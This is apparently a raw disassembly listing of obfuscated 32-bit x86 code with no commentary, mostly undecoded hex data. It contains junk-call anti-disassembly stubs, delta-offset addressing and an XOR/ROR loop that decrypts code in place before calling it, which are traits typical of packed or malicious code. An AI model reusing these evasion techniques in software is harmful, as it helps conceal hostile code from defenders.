0B19D8BAAh, 5A07E919h, 20F58581h dd 400307E9h, 8C0F0000h, 0Eh, 558D2360h, 8907E92Eh, 0E9208185h dd 310F6107h, 8DD9B70Fh, 0E95B918Dh, 0C1858907h, 8907E92Ch dd 4D958B01h, 3307E92Eh, 0EE9C2h, 1A60000h, 80EC63E0h dd 518F4481h, 6CC51EAEh, 6A044189h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 6E7DC352h dd 0FEE6CDBh, 0DE8BD1BFh, 0D9BB310Fh, 8D3B806Fh, 0E95BAE8Dh dd 189F507h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 30C35343h, 985314Fh, 3307E91Ah, 0D7B70FC2h, 0BA044189h dd 446AC733h, 11C1BD89h, 0BD8307E9h, 7E90A31h, 31840F00h dd 80000000h, 95FF22C3h, 7E93131h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 66C35545h, 0B74EA44h, 0EC2F2C52h dd 0DE8B66ACh, 1EB9BD83h, 0F0107E9h, 6D85h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0BBBC2781h, 6F59D23h, 43E907E9h, 29000000h, 0E9166195h dd 0D8B58B07h, 0C707E95Ch, 6, 0E7B58B00h, 0C707E95Ah, 6 dd 6ACF00h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 33EB3EC3h, 0E9219595h, 0BD83F807h, 7E923E9h dd 1A840F00h, 0F000001h, 687h, 0C98D8900h, 8307E91Fh, 0E9031DBDh dd 850F0107h, 0EEh, 8D8BDF8Bh, 7E94CF0h, 19799531h, 1C607E9h dd 0AD9D8B00h, 6007E922h, 1CBBB66h, 0C37B068h, 13E842h dd 30A70000h dd 2E3EA4D5h, 0A15BE87Eh, 0C0F19B81h, 4CE9E007h, 34815B20h dd 0C373024h, 5880F42h, 66000000h, 1860EB81h, 6AFF6Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 21DD32C3h, 0BE470FA1h, 9589803Eh, 7E91C41h, 1C719D8Bh dd 95FF07E9h, 7E90C15h, 0EE9h, 6AED6700h, 0B4AC1034h, 0F96191Dh dd 610A10E2h, 0FE9h, 0D172200h, 71F845C4h, 771DA55h, 0CF3457DBh dd 107595FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0B67F1DC3h, 0E7DC0E11h, 4CF08D8Bh dd 0E28107E9h, 1CEA52B9h, 9D0301FEh, 7E922B5h, 1EB59D89h dd 0BD8307E9h, 7E91D95h, 6850F01h, 29000000h, 0E922B5B5h dd 6AC08B07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 4988C352h, 589A6326h, 1337B4DEh dd 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah, 53501A74h dd 858BC08Bh, 7E911F9h, 11F98589h, 9D8D07E9h, 7EBD7CEh dd 585BD3FFh, 1A45BD83h, 740007E9h, 8B535018h, 0E911F985h dd 0F9858907h, 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 294BD2C2h, 35BD8960h, 0E807E934h, 10h, 15FA05B6h, 0B33CA06Ch dd 25C2DABh, 0B1E75626h, 84D8D8Bh, 615B07E9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 4B48635Ch dd 0D89017CFh, 0DE887h, 0C0EA0000h, 959ADE86h, 817D295Dh dd 0E9EBD95Fh, 0Eh, 0B8F1E98h, 943E6A6Fh, 0F59E8063h, 295B509Eh dd 0E90961B5h, 81C08B07h, 9CE847E2h, 9D89575Bh, 7E90F75h dd 0E9BD835Bh, 7E923h, 25850Fh, 8B570000h, 0BD835ADAh dd 7E923F1h, 14840F00h, 0E9000000h, 0Fh, 6DF3F70Eh, 3C0A1E2Dh dd 0DBB90A5Dh, 83010CD1h, 0E923E9BDh, 840F0007h, 40h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9C35747h, 0AF06117Eh dd 0F3CC9857h, 8321B290h, 0E917C1BDh, 840F0007h, 0Ch, 30599589h dd 0B58907E9h, 7E90E51h, 23E9BD83h, 0F0007E9h, 1884h, 3903BA00h dd 0BD830CF8h, 7E917C1h, 6840F00h, 8B000000h, 0E919A195h dd 0E9BD8307h, 7E923h, 17840Fh, 0BA660000h, 0BD835717h dd 7E90165h, 6840F00h, 89000000h, 0E9195DB5h, 0E9BD8307h dd 7E923h, 7A840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 7CC47EC3h, 0F4A230DEh dd 8D0FC712h, 15h, 10E9h, 985B9100h, 0FBFA2B50h, 0C38BD495h dd 3C2F452h, 0C9BD832Dh, 7E91Ch, 2E840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0B694DC3h, 0E924619Dh, 9195FF07h, 6607E929h, 42B4CA81h dd 0A8B6C08Bh, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah dd 53501A74h, 858BC08Bh, 7E920F5h, 20F58589h, 9D8D07E9h dd 7EBD835h, 585BD3FFh, 1A45BD83h, 740007E9h, 8B535018h dd 0E920F585h, 0F5858907h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BF0FD321h, 53C08BD7h, 835AD58Ah, 0E923E9BDh dd 840F0007h, 450h, 13BD8D89h, 0BD8307E9h, 7E92625h, 4E840F02h dd 0E9000000h, 9, 0D8FD4CF4h, 0A0E1F16Ah, 0B9BD839Bh, 107E91Eh dd 33850Fh, 60600000h, 12E8h, 0B7A0AD00h, 0B01C437Ch, 5A5DCC62h dd 21991CBAh, 58592B05h, 11E9h, 0D076A500h, 2A4F4688h dd 192F5F27h, 0C3201B10h, 0F8615111h, 6A6061h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 27F118C3h, 0B70F9A6Ch, 0F08D8BD1h, 6A07E94Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 90EEC355h, 801F2509h, 1FEA7C7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0E8C35343h, 6E9FF160h, 0F28166A5h dd 8509820Dh, 7E93121h, 4E8h, 8000h, 0AE900h, 0D0760000h dd 2A4F4688h, 192F5F27h, 3717BB50h, 448B1608h, 0DE8B0424h dd 8E9008Bh, 0D3000000h, 0FDEE29ACh, 89AC2A32h, 0B7042444h dd 0FF6A585Fh, 25F9958Bh, 95FF07E9h, 7E90C15h, 1C51958Bh dd 896107E9h, 0E92EC9B5h, 59BD8D07h, 8B07E92Dh, 850F1C4Fh dd 1, 8B016AFCh, 0E92FA99Dh, 66609107h, 662B08B9h, 61A1D4B8h dd 50525050h, 0F4FB652h, 0F585A31h, 91585A31h, 8DF5E280h dd 0EC674D85h, 53D0FF07h, 5081EB81h, 8B5A621Fh, 0EF80204Fh dd 6A036A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 3EC5C350h, 8940045Dh, 0E909A59Dh dd 5063B607h, 89D98B66h, 0EE9240Ch, 61000000h, 71EACB4Eh dd 0DA9997B7h, 69D55FEDh, 6850F5Dh, 8B000000h, 0E923ED95h dd 4D858D07h, 0F07EC67h, 583h, 0F73DBA00h, 0D0FF72D5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 94C35747h dd 6A33FBD8h, 0FC3BE15Ah, 0EDEA81D6h, 8D77AB4Eh, 0E92D59BDh dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0D48170C2h, 50DA8B60h, 0EE8h, 1CB91500h dd 0AB1FEB46h, 6E532419h, 591929D1h, 8589615Fh, 7E923EDh dd 891C4F8Bh, 0E9235585h, 0E9016A07h, 8, 41BA7177h, 81EFBD5h dd 50D88A91h, 6A91F48Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0D3BBC351h, 269958Bh dd 858D07E9h, 7EC674Dh, 34A9BD09h, 9D8907E9h, 7E92605h dd 0AE9D0FFh, 0CA000000h, 45215937h, 0FF958C33h, 204F8B8Fh dd 1F51B589h, 36A07E9h, 11E8h, 0B4F12700h, 0A2ACB600h dd 1828FF18h, 87250165h, 0D281263Dh, 60DD1ECh, 0D88B665Ah dd 0E8605150h, 0Bh, 5C8CAC88h, 8F045273h, 5F5B0511h, 5B616160h dd 89240C89h, 0E92461B5h, 4D858D07h, 6A07EC67h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 835CC355h, 66755694h, 0F4EEE281h, 0EE9h, 8D954A00h dd 0F30996FBh, 0F300173Fh, 0FF3FB884h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 8EA7CC8Ch, 0FE948h, 0C5B80000h, 1B644986h, 0D7517604h dd 0C60E9B68h, 0F08D8B14h, 8B07E94Ch, 0E926799Dh, 6A01FE07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 53B3C350h, 9585290Fh, 8B07E925h, 0E94CF085h dd 819D8B07h, 0FE07E920h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 784338EAh dd 0C381661Dh, 16AD6C9h, 0B01BA66h, 0B229F668h, 243481CCh dd 334DB609h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 12C35343h, 8DDC62A0h, 0EC675785h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0C158D36Fh, 6E0F5214h, 0D0BF0FD5h, 0BE9h dd 9A8A7700h, 0AF730799h, 19D9DD1Ah, 890FD0FFh, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E923F1h], 0 jz loc_58A402 jmp loc_58A353 ; --------------------------------------------------------------------------- mov esi, 54ECF7E1h loc_58A353: ; CODE XREF: sdfs____:0058A349j cmp dword ptr [ebp+7E91B69h], 1 jnz loc_58A402 movsx edx, ax lea ecx, [ebp+7EC6761h] mov bx, 0F03Ah push 3 add [ebp+7E924E9h], eax push 1 cld call ecx push 0 push esi call sub_58A385 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A385 proc near ; CODE XREF: sdfs____:0058A37Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58A385 endp ; --------------------------------------------------------------------------- mov ebp, 4E2349CFh push ebp add [edx+1], ebp push 0 push ebp call sub_58A3A9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A3A9 proc near ; CODE XREF: sdfs____:0058A3A1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_58A3A9 endp ; --------------------------------------------------------------------------- db 0C5h, 54h, 0A9h dd 5908E257h, 16A7C2Ch, 0C1BD29h, 0FFF907E9h, 55006AD1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D2CC493Eh, 0E84ED780h, 0F872704Ch, 6830Fh, 0EA810000h dd 34E5AA85h ; --------------------------------------------------------------------------- mov dh, ah loc_58A402: ; CODE XREF: sdfs____:0058A343j ; sdfs____:0058A35Aj push 20h mov edx, [ebp+7E90BB9h] push 0FFFFFFFFh add [ebp+7E90A35h], eax call dword ptr [ebp+7E90C15h] and bx, 0DF9Ah mov eax, 0 and bh, 98h or eax, eax jz loc_58A473 push 0 push edx call sub_58A438 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A438 proc near ; CODE XREF: sdfs____:0058A430p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58A438 endp ; --------------------------------------------------------------------------- cmpsb pop ebx div dword ptr [esi] pusha add edx, [ebp+7E90909h] adc edi, 7E953A1Ah popa cmp dword ptr [ebp+7E90FB9h], 0 jz loc_58A473 sub [ebp+7E92D55h], esi call dword ptr [ebp+7E91335h] loc_58A473: ; CODE XREF: sdfs____:0058A427j ; sdfs____:0058A461j mov eax, [ebp+7E90875h] movsx ebx, dx mov byte ptr [eax], 0 or [ebp+7E900D1h], edx pop eax sub edx, 4D8814D7h jns loc_58A4A0 pusha jo $+6 or [ebp+7E9092Dh], ecx popa loc_58A4A0: ; CODE XREF: sdfs____:0058A48Cj mov cx, ds mov dx, bx test cl, 4 jz loc_58A4EE or ebx, 4E9AA4B3h jmp loc_58A4C3 ; --------------------------------------------------------------------------- dw 87D1h dd 0BA942729h db 16h, 64h, 0EEh ; --------------------------------------------------------------------------- loc_58A4C3: ; CODE XREF: sdfs____:0058A4B5j jmp loc_58A4EE ; --------------------------------------------------------------------------- mov dl, al mov esi, [ebp+7E90905h] mov ebx, [ebp+7E92529h] add esi, 1180h mov ebx, [ebp+7E91311h] mov dword ptr [esi], 0 sub [ebp+7E90005h], esi loc_58A4EE: ; CODE XREF: sdfs____:0058A4A9j ; sdfs____:loc_58A4C3j pop esi jnz loc_58A4F6 cmc loc_58A4F6: ; CODE XREF: sdfs____:0058A4EFj cmp eax, 0 jz loc_58AFCD mov bx, 6D51h cmp eax, 1 jnz loc_58A644 mov ebx, [ebp+7E91C3Dh] mov eax, 0 mov ebx, [ebp+7E90BD1h] add bx, 5A72h or eax, eax jz loc_58A5ED pusha sub dx, 9BA1h xor [ebp+7E92591h], eax popa cmp eax, 1 jz loc_58A605 sub [ebp+7E90815h], edi cmp eax, 3 jz loc_58A595 jmp loc_58A55F ; --------------------------------------------------------------------------- dd 2F8F6245h, 99B2A489h db 6Fh, 48h, 0D7h ; --------------------------------------------------------------------------- loc_58A55F: ; CODE XREF: sdfs____:0058A54Fj mov eax, 0 or edx, 66C98036h lea edi, dword_5B89E0[ebp] push 0 push eax call sub_58A57B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A57B proc near ; CODE XREF: sdfs____:0058A573p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58A57B endp ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- adc eax, 9D8BE7FFh inc ecx sub ch, cl pop es ; START OF FUNCTION CHUNK FOR sub_58A67C loc_58A595: ; CODE XREF: sdfs____:0058A549j ; sub_58A67C+27j mov eax, 1 cmc lea edi, dword_5B89E0[ebp] push 0 push edi call sub_58A5AC and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A67C ; =============== S U B R O U T I N E ======================================= sub_58A5AC proc near ; CODE XREF: sub_58A67C-D8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_58A5AC endp ; --------------------------------------------------------------------------- dd 4DF3D752h, 895B24E1h, 0E9180D85h, 6AE7FF07h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 3C0C350h, 0E922B59Dh ; --------------------------------------------------------------------------- pop es loc_58A5ED: ; CODE XREF: sdfs____:0058A524j lea edi, [ebp+7E9437Ch] cld sub [ebp+7E90195h], esi jmp loc_58A86B ; --------------------------------------------------------------------------- mov [ebp+7E9247Dh], ebx ; START OF FUNCTION CHUNK FOR sub_58A67C loc_58A605: ; CODE XREF: sdfs____:0058A53Aj ; sub_58A67C+18j mov dword ptr [ebp+7E94D4Bh], 5 push 0 push edx call sub_58A61A and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A67C ; =============== S U B R O U T I N E ======================================= sub_58A61A proc near ; CODE XREF: sub_58A67C-6Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58A61A endp ; --------------------------------------------------------------------------- dw 6178h ; --------------------------------------------------------------------------- lahf fidivr word ptr [eax+5] mov [ebp+7E92F7Dh], esi jmp loc_58AF41 ; --------------------------------------------------------------------------- mov ebx, [ebp+7E92FA9h] loc_58A644: ; CODE XREF: sdfs____:0058A506j cmp eax, 2 jnz loc_58A71A jmp loc_58A65A ; --------------------------------------------------------------------------- dw 0E3EFh dd 5C58163h db 0F7h, 0B0h ; --------------------------------------------------------------------------- loc_58A65A: ; CODE XREF: sdfs____:0058A64Dj mov eax, 0 jmp loc_58A66D ; --------------------------------------------------------------------------- mov ch, cl push ss leave and eax, 1BB06BDFh loc_58A66D: ; CODE XREF: sdfs____:0058A65Fj call sub_58A67C xchg eax, edi not edx db 2Eh push 77h pop esi mov edi, ebp dec ebp ; =============== S U B R O U T I N E ======================================= sub_58A67C proc near ; CODE XREF: sdfs____:loc_58A66Dp ; FUNCTION CHUNK AT 0058A595 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058A605 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058A70A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058A86B SIZE 00000017 BYTES mov edx, [ebp+7E93165h] pop edx or eax, eax jz loc_58A70A or ebx, [ebp+7E93575h] cmp eax, 1 jz loc_58A605 mov ebx, [ebp+7E92A39h] cmp eax, 3 jz loc_58A595 mov [ebp+7E91EDDh], edi ja loc_58A6CC jmp loc_58A6CC ; --------------------------------------------------------------------------- dw 812Bh dd 5419BBFDh, 0EE3AC4Dh, 6A1327BEh, 0A728CBAh ; --------------------------------------------------------------------------- loc_58A6CC: ; CODE XREF: sub_58A67C+33j ; sub_58A67C+39j sub eax, eax push 0 push esi call sub_58A6D9 and [esi-3Dh], bl sub_58A67C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58A6D9 proc near ; CODE XREF: sub_58A67C+55p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58A6D9 endp ; --------------------------------------------------------------------------- stosb mov dx, 9FDBh lea edi, dword_5B89E0[ebp] xor dx, 0C57Dh jmp edi ; --------------------------------------------------------------------------- jmp loc_58A708 ; --------------------------------------------------------------------------- dd 18E3B631h, 3F9EEA16h ; --------------------------------------------------------------------------- loc_58A708: ; CODE XREF: sdfs____:0058A6FBj mov bh, 0D8h ; START OF FUNCTION CHUNK FOR sub_58A67C loc_58A70A: ; CODE XREF: sub_58A67C+9j lea edi, [ebp+7E94574h] mov ebx, edx jmp loc_58A86B ; END OF FUNCTION CHUNK FOR sub_58A67C ; --------------------------------------------------------------------------- movzx edx, dx loc_58A71A: ; CODE XREF: sdfs____:0058A647j cmp eax, 3 jnz loc_58A75C push 0 push eax call sub_58A72E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A72E proc near ; CODE XREF: sdfs____:0058A726p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58A72E endp ; --------------------------------------------------------------------------- dec edx mov ebx, [ebp+7E916FDh] lea edi, [ebp+7E94708h] mov ebx, [ebp+7E91359h] jmp loc_58A86B ; --------------------------------------------------------------------------- mov [ebp+7E92125h], edx loc_58A75C: ; CODE XREF: sdfs____:0058A71Dj cmp eax, 5 jnz loc_58A7B3 call sub_58A779 xchg ecx, [eax] inc esp movsb ; --------------------------------------------------------------------------- dw 0B18Fh dd 0C55D590Bh, 91CFF529h db 0F7h ; =============== S U B R O U T I N E ======================================= sub_58A779 proc near ; CODE XREF: sdfs____:0058A765p var_18 = dword ptr -18h ; FUNCTION CHUNK AT 0058AF41 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058AFCD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058B0D0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058B13C SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0058B181 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058B1B0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B367 SIZE 000000C2 BYTES ; FUNCTION CHUNK AT 0058B42B SIZE 00000040 BYTES mov ebx, [ebp+7E93155h] pop edx jmp loc_58AF41 sub_58A779 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0 push esi call sub_58A790 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A790 proc near ; CODE XREF: sdfs____:0058A788p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_58A790 endp ; --------------------------------------------------------------------------- dd 0ECE253F8h, 49579691h, 0D380399Bh, 159D8BB3h ; --------------------------------------------------------------------------- and ebp, ecx pop es loc_58A7B3: ; CODE XREF: sdfs____:0058A75Fj cmp eax, 6 jnz loc_58A7DB mov dh, 0E9h mov edx, [ebp+7E91EE9h] lea edi, [ebp+7E94900h] mov [ebp+7E90E3Dh], ecx jmp loc_58A86B ; --------------------------------------------------------------------------- add [ebp+7E92E69h], esi loc_58A7DB: ; CODE XREF: sdfs____:0058A7B6j cmp eax, 7 jnz loc_58A828 sub [ebp+7E91FE5h], ebx jnb loc_58A7F8 js loc_58A7F8 push edx pop ebx loc_58A7F8: ; CODE XREF: sdfs____:0058A7EAj ; sdfs____:0058A7F0j lea edi, [ebp+7E90349h] sub ebx, [ebp+7E92101h] mov bl, 0A5h jmp loc_58A941 ; --------------------------------------------------------------------------- push 0 push ebx call sub_58A816 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A816 proc near ; CODE XREF: sdfs____:0058A80Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58A816 endp ; --------------------------------------------------------------------------- dw 829Eh ; --------------------------------------------------------------------------- loc_58A828: ; CODE XREF: sdfs____:0058A7DEj cmp eax, 0Ah jnz loc_58A86B push 0 push edx call sub_58A83C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A83C proc near ; CODE XREF: sdfs____:0058A834p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58A83C endp ; --------------------------------------------------------------------------- dd 0F7367CFh, 0BD8DFBD9h, 7E94AF8h, 5840Fh, 1BBB0000h dd 0E966D7F1h, 3 ; --------------------------------------------------------------------------- mov bx, si ; START OF FUNCTION CHUNK FOR sub_58A67C loc_58A86B: ; CODE XREF: sdfs____:0058A5FAj ; sub_58A67C+96j ... push edi sbb ebx, 47F3B868h mov ecx, 7B9F0B36h push 0 push edx call sub_58A882 and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58A67C ; =============== S U B R O U T I N E ======================================= sub_58A882 proc near ; CODE XREF: sub_58A67C+1FEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58A882 endp ; --------------------------------------------------------------------------- push ds inc esi mov edx, [ebp+7E93589h] jnb loc_58A8A3 add bh, 9Fh loc_58A8A3: ; CODE XREF: sdfs____:0058A89Aj cmp dword ptr [edi], 0 jz loc_58A91F push 0 push ebx call sub_58A8B7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A8B7 proc near ; CODE XREF: sdfs____:0058A8AFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_58A8B7 endp ; --------------------------------------------------------------------------- db 7Ch dd 3F71ED0h, 1169B589h, 0F3007E9h, 0A6FEBA66h, 0BE9C9D1h dd 0EF000000h, 0AE296CECh, 496487E6h, 6A47927Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0E853C353h, 71AA30D6h, 0BA3EAF77h, 593AE894h, 0FFFF8AE9h dd 0BAF381FFh db 2 dup(0C4h), 3Eh ; --------------------------------------------------------------------------- loc_58A91F: ; CODE XREF: sdfs____:0058A8A6j pop edi push 0 push ecx call sub_58A92B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A92B proc near ; CODE XREF: sdfs____:0058A923p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58A92B endp ; --------------------------------------------------------------------------- xor esi, [eax-482F742Dh] loc_58A941: ; CODE XREF: sdfs____:0058A806j mov [ebp+7E94CF4h], edi stc mov edx, [ebp+7E90ABDh] lea ecx, [ebp+7E90FF1h] pusha mov cx, 14ADh sbb edx, 883C5D3h popa push dword ptr [ebp+7E9138Dh] push 0 push edi call sub_58A971 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A971 proc near ; CODE XREF: sdfs____:0058A969p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58A971 endp ; --------------------------------------------------------------------------- db 0E1h, 14h, 89h ; --------------------------------------------------------------------------- mov ebp, 7E90711h add bx, 8869h lea eax, [ebp+7EBD19Dh] push eax lea edi, [ebp+7E9546Bh] lea ecx, [ebp+7E96BEEh] mov eax, 54831ABCh sub ecx, edi loc_58A9A8: ; CODE XREF: sdfs____:0058A9AEj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_58A9A8 lea esi, [ebp+7E96B65h] lea ecx, [ebp+7E96C06h] sub ecx, edi rep movsb xor ecx, ecx mov eax, 0 or eax, eax jz short loc_58AA11 cmp dword ptr [ebp+7E90FB9h], 0 jz short loc_58A9DA call dword ptr [ebp+7E91335h] loc_58A9DA: ; CODE XREF: sdfs____:0058A9D2j mov esi, [ebp+7E94CF4h] lea eax, [ebp+7EBD19Dh] call eax lea eax, [ebp+7E942FFh] call eax mov dword ptr [ebp+7E91DBDh], 1 mov esp, [ebp+7E90C71h] mov esi, [ebp+7E92F75h] mov ebp, [ebp+7E90BA1h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_58AA11: ; CODE XREF: sdfs____:0058A9C9j xor dl, 37h loc_58AA14: ; CODE XREF: sdfs____:0058AA61j jmp loc_58AA27 ; --------------------------------------------------------------------------- db 1Fh, 89h, 34h dd 1A112A49h, 82D79BAFh db 6Dh, 0E6h, 44h ; --------------------------------------------------------------------------- loc_58AA27: ; CODE XREF: sdfs____:loc_58AA14j cmp dword ptr [ebp+7E929E5h], 0 jz loc_58AA91 push 0 push ebx call sub_58AA3F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AA3F proc near ; CODE XREF: sdfs____:0058AA37p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_58AA3F endp ; --------------------------------------------------------------------------- mov word ptr [ecx+32h], cs push ds mov eax, ds:663CC5EEh pop es jmp loc_58AA70 ; --------------------------------------------------------------------------- sbb dh, [ebx+30h] loope loc_58AA14 inc ebp or dword ptr [edi-7Fh], 39h mov bh, 0CFh retn ; --------------------------------------------------------------------------- db 0F6h dd 0D874A1A4h ; --------------------------------------------------------------------------- loc_58AA70: ; CODE XREF: sdfs____:0058AA59j call dword ptr [ebp+7E9358Dh] push edx call near ptr loc_58AA88+4 xchg dl, bh inc edi db 36h call far ptr 0E364h:0D10306FDh push es loc_58AA88: ; CODE XREF: sdfs____:0058AA77p sbb [ecx-40F05BDEh], ebp fistp dword ptr [ebx+5Ah] loc_58AA91: ; CODE XREF: sdfs____:0058AA2Ej cmp dword ptr [ebp+7E926A9h], 0 jnz loc_58ABC2 mov ebx, [ebp+7E92615h] cmp dword ptr [ebp+7E91B69h], 1 jnz loc_58ABC2 jmp loc_58AACA ; --------------------------------------------------------------------------- dw 0D9A2h dd 8DDB95D0h, 867782F1h, 2148896Bh, 0B02CB26h db 90h db 2Ch ; --------------------------------------------------------------------------- loc_58AACA: ; CODE XREF: sdfs____:0058AAB1j cmp dword ptr [ebp+7E92319h], 0 jz loc_58ABC2 add [ebp+7E90AE5h], eax cmp dword ptr [ebp+7E94D47h], 0 jz loc_58ABC2 and dh, 63h lea eax, [ebp+7EBD19Dh] push 0 push ecx call sub_58AAFE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AAFE proc near ; CODE XREF: sdfs____:0058AAF6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58AAFE endp ; --------------------------------------------------------------------------- dw 8B89h dd 0E9194D9Dh, 51BD2907h, 8B07E900h, 0E94CF4B5h, 10E807h dd 45620000h, 0F49D46F6h, 3DA8FE7h, 0B7AB8D45h, 5AF97B21h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 309C82C3h, 265985C6h, 565407E9h, 0AE9h, 5D96E700h dd 0B1E6402Ch, 5A15E65Ch, 13272668h, 240481A0h, 5F3B97CEh dd 0FA5B509h, 0D98B07E9h, 2669B5FFh, 9D8907E9h, 7E90319h dd 3ABC858Dh, 8B6607E9h, 0F8D0FFDFh, 87B6006Ah, 8950FF6Ah dd 0E92F898Dh, 0D0FF5B07h, 358ACB81h, 0B5FF6B9Fh, 7E91E11h dd 2A88BA66h, 138D95FFh db 0E9h, 7 ; --------------------------------------------------------------------------- loc_58ABC2: ; CODE XREF: sdfs____:0058AA98j ; sdfs____:0058AAABj 